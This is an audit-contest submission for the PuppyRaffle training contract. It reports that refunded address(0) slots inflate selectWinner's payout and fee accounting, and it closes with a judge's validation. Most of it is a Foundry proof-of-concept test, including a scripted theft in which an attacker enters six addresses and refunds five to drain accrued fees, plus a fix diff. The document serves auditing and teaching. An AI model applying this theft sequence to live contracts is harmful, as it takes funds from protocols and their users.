Puppy Raffle

AI First Flight #1

Beginner FriendlyFoundrySolidityNFT

EXP

View results

Previous Next

Submission Details

Severity: high

Valid

Refunded address(0) slots still count in selectWinner's players.length, so prizes are paid from accrued fees, unbacked fees are added to totalFees, and withdrawFees reverts

friedsocks233

Root + Impact

Description

refund() should return a player's entranceFee and take their ticket out of the round. selectWinner() should then pay 80% of the ETH actually collected from active tickets to a winner chosen among active players and book the other 20% in totalFees. That keeps address(this).balance equal to totalFees after each draw, so withdrawFees can pay the fees out.
refund() pays back entranceFee but only overwrites the player's slot with address(0), so players.length does not shrink. selectWinner() uses players.length for the 4-player gate, for the winner-index modulus and for totalAmountCollected = players.length * entranceFee. Each refunded slot therefore overstates the round's funds by entranceFee: 80% of that is paid to the winner out of other ETH held by the contract (accrued fees), and 20% is added to totalFees with no ETH behind it, which breaks the strict balance == totalFees check in withdrawFees.

// src/PuppyRaffle.sol L94-L105 (refund), L125-L134 and L151-L152 (selectWinner), L157-L158 (withdrawFees)

/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`

/// @dev This function will allow there to be blank spots in the array

function refund(uint256 playerIndex) public {

address playerAddress = players[playerIndex];

require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");

require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

payable(msg.sender).sendValue(entranceFee);

players[playerIndex] = address(0); // @>

emit RaffleRefunded(playerAddress);

}

// ...

function selectWinner() external {

require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");

require(players.length >= 4, "PuppyRaffle: Need at least 4 players"); // @>

uint256 winnerIndex =

uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; // @>

address winner = players[winnerIndex];

uint256 totalAmountCollected = players.length * entranceFee; // @>

uint256 prizePool = (totalAmountCollected * 80) / 100;

uint256 fee = (totalAmountCollected * 20) / 100;

totalFees = totalFees + uint64(fee);

// ...

(bool success,) = winner.call{value: prizePool}("");

require(success, "PuppyRaffle: Failed to send prize pool to winner");

// ...

function withdrawFees() external {

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

Risk

Likelihood:

The bug triggers in every round where at least one player calls refund() before selectWinner(). Refunds are an advertised feature (contract natspec point 3), so ordinary use is enough and no attacker is needed.
Accrued fees sit in the contract from each draw until withdrawFees is called. After the first refund-affected draw, withdrawFees keeps reverting, so the fee reserve that later blank slots draw on only grows.
selectWinner() is permissionless. The theft path needs only the attacker's own addresses and enough ETH to enter them; every ticket except one is refunded. Blank-slot draws revert in _safeMint, so the only draw that can succeed pays the attacker's live slot.

Impact:

Protocol fees are paid out as prize money. Each refunded slot moves 0.8 * entranceFee from the fee reserve to the winner. In the PoC, with 4 ETH of accrued fees, an attacker enters 6 addresses, refunds 5, wins 4.8 ETH and nets +3.8 ETH. The draw runs with a single real player because blank slots satisfy the >= 4 gate.
After a round with k refunds, totalFees exceeds the balance by k * entranceFee (PoC: 1.8 ETH booked against 0.8 ETH held), so withdrawFees reverts. Refund-free rounds add equally to both sides: the PoC shows the 1 ETH gap unchanged after a later clean round. The gap closes only through a forced ETH send, or when active players' deposits happen to fill it. In that case withdrawFees sends those deposits to feeAddress, and the player's refund then reverts (PoC: victim's 1 ETH swept, refund fails with 'Address: insufficient balance').
When more than 20% of a round's slots are refunded and no reserve covers the inflated prize, every selectWinner call reverts with 'Failed to send prize pool to winner'. New entries also revert with 'Duplicate player', because the two address(0) slots compare equal. The round cannot be settled unless ETH is force-sent into the contract.

Proof of Concept

test/PoC_PR-03.t.sol deploys PuppyRaffle with a 1 ETH entrance fee. It makes draws deterministic by picking a msg.sender that maps to a chosen winner index under selectWinner's own formula. The tests check five cases: (1) a no-refund baseline in which fees withdraw normally; (2) one ordinary refund that leaves players.length at 5, pays the winner 4 ETH from a 4.8 ETH balance and leaves 0.8 ETH against totalFees of 1.8 ETH, so withdrawFees reverts, and the 1 ETH gap survives a later clean round; (3) the 6-enter/5-refund theft netting +3.8 ETH of accrued fees, where a draw that lands on a blank slot reverts in _safeMint; (4) withdrawFees sweeping an active player's deposit; and (5) an unsettleable round. Run it with forge test --match-path test/PoC_PR-03.t.sol -vv.

File test/PoC_PR-03.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_PR-03.t.sol -vv.

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

pragma experimental ABIEncoderV2;

import {Test, console} from "forge-std/Test.sol";

import {PuppyRaffle} from "../src/PuppyRaffle.sol";

/// PR-03: refunded (address(0)) slots still count in selectWinner's

/// players.length, so the payout base is overstated by entranceFee per refund.

contract PoC_PR03 is Test {

PuppyRaffle raffle;

uint256 constant FEE = 1 ether;

uint256 constant DURATION = 1 days;

address feeAddress = makeAddr("feeAddress");

function setUp() public {

raffle = new PuppyRaffle(FEE, feeAddress, DURATION);

}

// ---------------------------------------------------------------- helpers

function _addrs(string memory prefix, uint256 n) internal returns (address[] memory a) {

a = new address[](n);

for (uint256 i = 0; i < n; i++) {

a[i] = makeAddr(string(abi.encodePacked(prefix, vm.toString(i))));

}

function _enter(address[] memory ps) internal {

address payer = makeAddr("payer");

vm.deal(payer, FEE * ps.length);

vm.prank(payer);

raffle.enterRaffle{value: FEE * ps.length}(ps);

}

function _endRound() internal {

vm.warp(block.timestamp + DURATION + 1);

}

/// Mirrors selectWinner's index formula to find a msg.sender that lands on `target`.

function _callerFor(uint256 target, uint256 len) internal view returns (address) {

for (uint256 i = 1; i < 100000; i++) {

address c = address(uint160(uint256(keccak256(abi.encodePacked("caller", i)))));

uint256 idx = uint256(keccak256(abi.encodePacked(c, block.timestamp, block.difficulty))) % len;

if (idx == target) return c;

}

revert("no caller found");

}

function _playersLength() internal view returns (uint256 n) {

// players is a public array without a length getter: probe until it reverts

// (gas-capped: 0.7.x out-of-bounds uses INVALID, which burns all forwarded gas)

while (true) {

try raffle.players{gas: 100000}(n) returns (address) {

n++;

} catch {

return n;

}

function _livePlayers() internal view returns (uint256 live) {

uint256 len = _playersLength();

for (uint256 i = 0; i < len; i++) {

if (raffle.players(i) != address(0)) live++;

}

/// Round 1: 4 players at 1 ETH, drawn. Leaves balance == totalFees == 0.8 ETH.

function _round1() internal {

_enter(_addrs("r1-", 4));

_endRound();

vm.prank(_callerFor(0, 4));

raffle.selectWinner();

assertEq(uint256(raffle.totalFees()), 0.8 ether);

assertEq(address(raffle).balance, 0.8 ether);

}

// ---------------------------------------------------------------- baseline

/// Without refunds the accounting is consistent and fees can be withdrawn.

function test_baseline_noRefund_feesWithdrawable() public {

_round1();

address[] memory r2 = _addrs("r2-", 5);

_enter(r2);

_endRound();

vm.prank(_callerFor(0, 5));

raffle.selectWinner();

assertEq(r2[0].balance, 4 ether, "winner gets 80% of 5 real tickets");

assertEq(uint256(raffle.totalFees()), 1.8 ether);

assertEq(address(raffle).balance, 1.8 ether, "balance == totalFees");

raffle.withdrawFees();

assertEq(feeAddress.balance, 1.8 ether, "baseline: feeAddress receives all fees");

}

// ---------------------------------------------------------------- limb 1+2 honest variant

/// One ordinary refund: round 1's fees fund round 2's prize, phantom fees are booked,

/// and withdrawFees' strict equality can no longer hold (gap persists across rounds).

function test_honestRefund_feeReservePaysPrize_andWithdrawFeesBricked() public {

_round1();

address[] memory r2 = _addrs("r2-", 5);

_enter(r2);

assertEq(address(raffle).balance, 5.8 ether);

// r2[4] takes the advertised refund

vm.prank(r2[4]);

raffle.refund(4);

assertEq(address(raffle).balance, 4.8 ether, "4 live deposits + 0.8 accrued fees");

assertEq(_playersLength(), 5, "players.length did not shrink");

assertEq(raffle.players(4), address(0));

_endRound();

vm.prank(_callerFor(0, 5)); // any live slot; slot 4 would revert (see theft test)

raffle.selectWinner();

console.log("winner prize (wei) ", r2[0].balance);

console.log("contract balance (wei) ", address(raffle).balance);

console.log("totalFees (wei) ", uint256(raffle.totalFees()));

// Winner paid 80% of 5 tickets although only 4 were paid for: 4 ETH out of 4.8

assertEq(r2[0].balance, 4 ether, "prize computed on 5 slots");

// 4 ETH real deposits - 4 ETH prize => the 0.8 ETH left is exactly round 1's fees,

// but round 2 booked another 1 ETH of fees with no ETH behind it

assertEq(address(raffle).balance, 0.8 ether);

assertEq(uint256(raffle.totalFees()), 1.8 ether);

assertGt(uint256(raffle.totalFees()), address(raffle).balance, "phantom fees booked");

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

// A later, refund-free round adds equally to both sides: the 1 ETH gap persists.

_enter(_addrs("r3-", 4));

_endRound();

vm.prank(_callerFor(0, 4));

raffle.selectWinner();

assertEq(address(raffle).balance, 1.6 ether);

assertEq(uint256(raffle.totalFees()), 2.6 ether);

assertEq(uint256(raffle.totalFees()) - address(raffle).balance, 1 ether, "gap unchanged");

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

assertEq(feeAddress.balance, 0, "no fees can be withdrawn");

}

// ---------------------------------------------------------------- limbs 1, 5, 6 theft variant

/// F = 4 ETH accrued. Attacker enters 6 addresses, refunds 5, and the only drawable slot is its own.

function test_theft_attackerDrainsAccruedFees() public {

// Accrue F = 4 ETH of fees from a 20-player round (left unwithdrawn).

_enter(_addrs("big-", 20));

_endRound();

vm.prank(_callerFor(0, 20));

raffle.selectWinner();

assertEq(uint256(raffle.totalFees()), 4 ether);

assertEq(address(raffle).balance, 4 ether);

// Attacker controls 6 fresh addresses.

address attacker = makeAddr("attacker");

address[] memory a = new address[](6);

a[0] = attacker;

for (uint256 i = 1; i < 6; i++) {

a[i] = makeAddr(string(abi.encodePacked("sock", vm.toString(i))));

}

vm.deal(attacker, 6 ether);

uint256 groupBefore = 6 ether; // attacker 6 ETH, socks 0

vm.prank(attacker);

raffle.enterRaffle{value: 6 ether}(a);

for (uint256 i = 1; i < 6; i++) {

vm.prank(a[i]);

raffle.refund(i);

}

assertEq(address(raffle).balance, 5 ether, "4 accrued fees + 1 live ticket");

assertEq(_playersLength(), 6);

assertEq(_livePlayers(), 1, "only ONE real player remains");

_endRound();

// Limb 6: a draw that lands on a blank slot sends ETH to address(0) then reverts in _safeMint.

address blankCaller = _callerFor(3, 6);

vm.prank(blankCaller);

vm.expectRevert("ERC721: mint to the zero address");

raffle.selectWinner();

// Limb 5: the >= 4 gate is satisfied by blank slots; draw runs with a single real player.

// Any successful draw (whoever calls) must land on the attacker's live slot 0.

vm.prank(_callerFor(0, 6));

raffle.selectWinner();

assertEq(raffle.previousWinner(), attacker);

assertEq(raffle.ownerOf(0 + 1), attacker); // tokenId 1 (tokenId 0 went to round 1)

uint256 groupAfter = attacker.balance;

for (uint256 i = 1; i < 6; i++) {

groupAfter += a[i].balance;

}

console.log("attacker prize (wei) ", attacker.balance);

console.log("attacker group net (wei)", groupAfter - groupBefore);

console.log("contract balance (wei) ", address(raffle).balance);

console.log("totalFees (wei) ", uint256(raffle.totalFees()));

assertEq(attacker.balance, 4.8 ether, "prize = 80% of 6 slots");

assertEq(groupAfter - groupBefore, 3.8 ether, "attacker nets +3.8 ETH of protocol fees");

assertEq(address(raffle).balance, 0.2 ether);

assertEq(uint256(raffle.totalFees()), 5.2 ether);

vm.expectRevert("PuppyRaffle: There are currently players active!");

raffle.withdrawFees();

}

// ---------------------------------------------------------------- limb 3 misdirection

/// When an active deposit happens to fill the gap, withdrawFees sweeps that deposit

/// and the player can no longer be refunded.

function test_misdirection_withdrawFeesTakesActivePlayersDeposit() public {

_round1();

address[] memory r2 = _addrs("r2-", 5);

_enter(r2);

vm.prank(r2[4]);

raffle.refund(4);

_endRound();

vm.prank(_callerFor(0, 5));

raffle.selectWinner();

assertEq(address(raffle).balance, 0.8 ether);

assertEq(uint256(raffle.totalFees()), 1.8 ether);

// A new player enters round 3 with 1 ETH: balance now equals the inflated totalFees.

address victim = makeAddr("victim");

address[] memory v = new address[](1);

v[0] = victim;

vm.deal(victim, 1 ether);

vm.prank(victim);

raffle.enterRaffle{value: 1 ether}(v);

assertEq(raffle.players(0), victim, "victim is an active player");

raffle.withdrawFees(); // passes the 'no players active' check while a player is active

assertEq(feeAddress.balance, 1.8 ether, "feeAddress got the victim's 1 ETH deposit");

assertEq(address(raffle).balance, 0);

vm.prank(victim);

vm.expectRevert("Address: insufficient balance");

raffle.refund(0);

}

// ---------------------------------------------------------------- limb 4 unsettleable round

/// With refunds > 20% of slots and no reserve, the inflated prize cannot be paid,

/// and two blank slots block every new entry (duplicate check on address(0)).

function test_unsettleableRound() public {

address[] memory p = _addrs("p-", 5);

_enter(p);

vm.prank(p[3]);

raffle.refund(3);

vm.prank(p[4]);

raffle.refund(4);

assertEq(address(raffle).balance, 3 ether, "3 live deposits");

_endRound();

// prizePool = 0.8 * 5 = 4 ETH > 3 ETH balance: every draw reverts

for (uint256 t = 0; t < 5; t++) {

vm.prank(_callerFor(t, 5));

vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");

raffle.selectWinner();

}

// New players cannot join to top up the balance: address(0) == address(0) duplicate

address late = makeAddr("late");

address[] memory l = new address[](1);

l[0] = late;

vm.deal(late, 1 ether);

vm.prank(late);

vm.expectRevert("PuppyRaffle: Duplicate player");

raffle.enterRaffle{value: 1 ether}(l);

}

Recommended Mitigation

/// @param playerIndex the index of the player to refund. You can find it externally by calling `getActivePlayerIndex`

- /// @dev This function will allow there to be blank spots in the array

+ /// @dev The refunded slot is removed (swap-and-pop), so players.length only counts paid, active tickets

function refund(uint256 playerIndex) public {

address playerAddress = players[playerIndex];

require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");

require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

- payable(msg.sender).sendValue(entranceFee);

- players[playerIndex] = address(0);

+ players[playerIndex] = players[players.length - 1];

+ players.pop();

emit RaffleRefunded(playerAddress);

+ payable(msg.sender).sendValue(entranceFee);

}

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago

Submission Judgement Published

Validated

Assigned finding tags:

[H-04] `PuppyRaffle::refund` replaces an index with address(0) which can cause the function `PuppyRaffle::selectWinner` to always revert

## Description `PuppyRaffle::refund` is supposed to refund a player and remove him from the current players. But instead, it replaces his index value with address(0) which is considered a valid value by solidity. This can cause a lot issues because the players array length is unchanged and address(0) is now considered a player. ## Vulnerability Details ```javascript players[playerIndex] = address(0); @> uint256 totalAmountCollected = players.length * entranceFee; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId); ``` If a player refunds his position, the function `PuppyRaffle::selectWinner` will always revert. Because more than likely the following call will not work because the `prizePool` is based on a amount calculated by considering that that no player has refunded his position and exit the lottery. And it will try to send more tokens that what the contract has : ```javascript uint256 totalAmountCollected = players.length * entranceFee; uint256 prizePool = (totalAmountCollected * 80) / 100; (bool success,) = winner.call{value: prizePool}(""); require(success, "PuppyRaffle: Failed to send prize pool to winner"); ``` However, even if this calls passes for some reason (maby there are more native tokens that what the players have sent or because of the 80% ...). The call will thankfully still fail because of the following line is minting to the zero address is not allowed. ```javascript _safeMint(winner, tokenId); ``` ## Impact The lottery is stoped, any call to the function `PuppyRaffle::selectWinner`will revert. There is no actual loss of funds for users as they can always refund and get their tokens back. However, the protocol is shut down and will lose all it's customers. A core functionality is exposed. Impact is high ### Proof of concept To execute this test : forge test --mt testWinnerSelectionRevertsAfterExit -vvvv ```javascript function testWinnerSelectionRevertsAfterExit() public playersEntered { vm.warp(block.timestamp + duration + 1); vm.roll(block.number + 1); // There are four winners. Winner is last slot vm.prank(playerFour); puppyRaffle.refund(3); // reverts because out of Funds vm.expectRevert(); puppyRaffle.selectWinner(); vm.deal(address(puppyRaffle), 10 ether); vm.expectRevert("ERC721: mint to the zero address"); puppyRaffle.selectWinner(); } ``` ## Recommendations Delete the player index that has refunded. ```diff - players[playerIndex] = address(0); + players[playerIndex] = players[players.length - 1]; + players.pop() ```

Rewards breakdown

This contest has a flat reward structure with the following payouts:

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being reviewed by our AI judge. Results will be available in a few minutes.

View all submissions

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!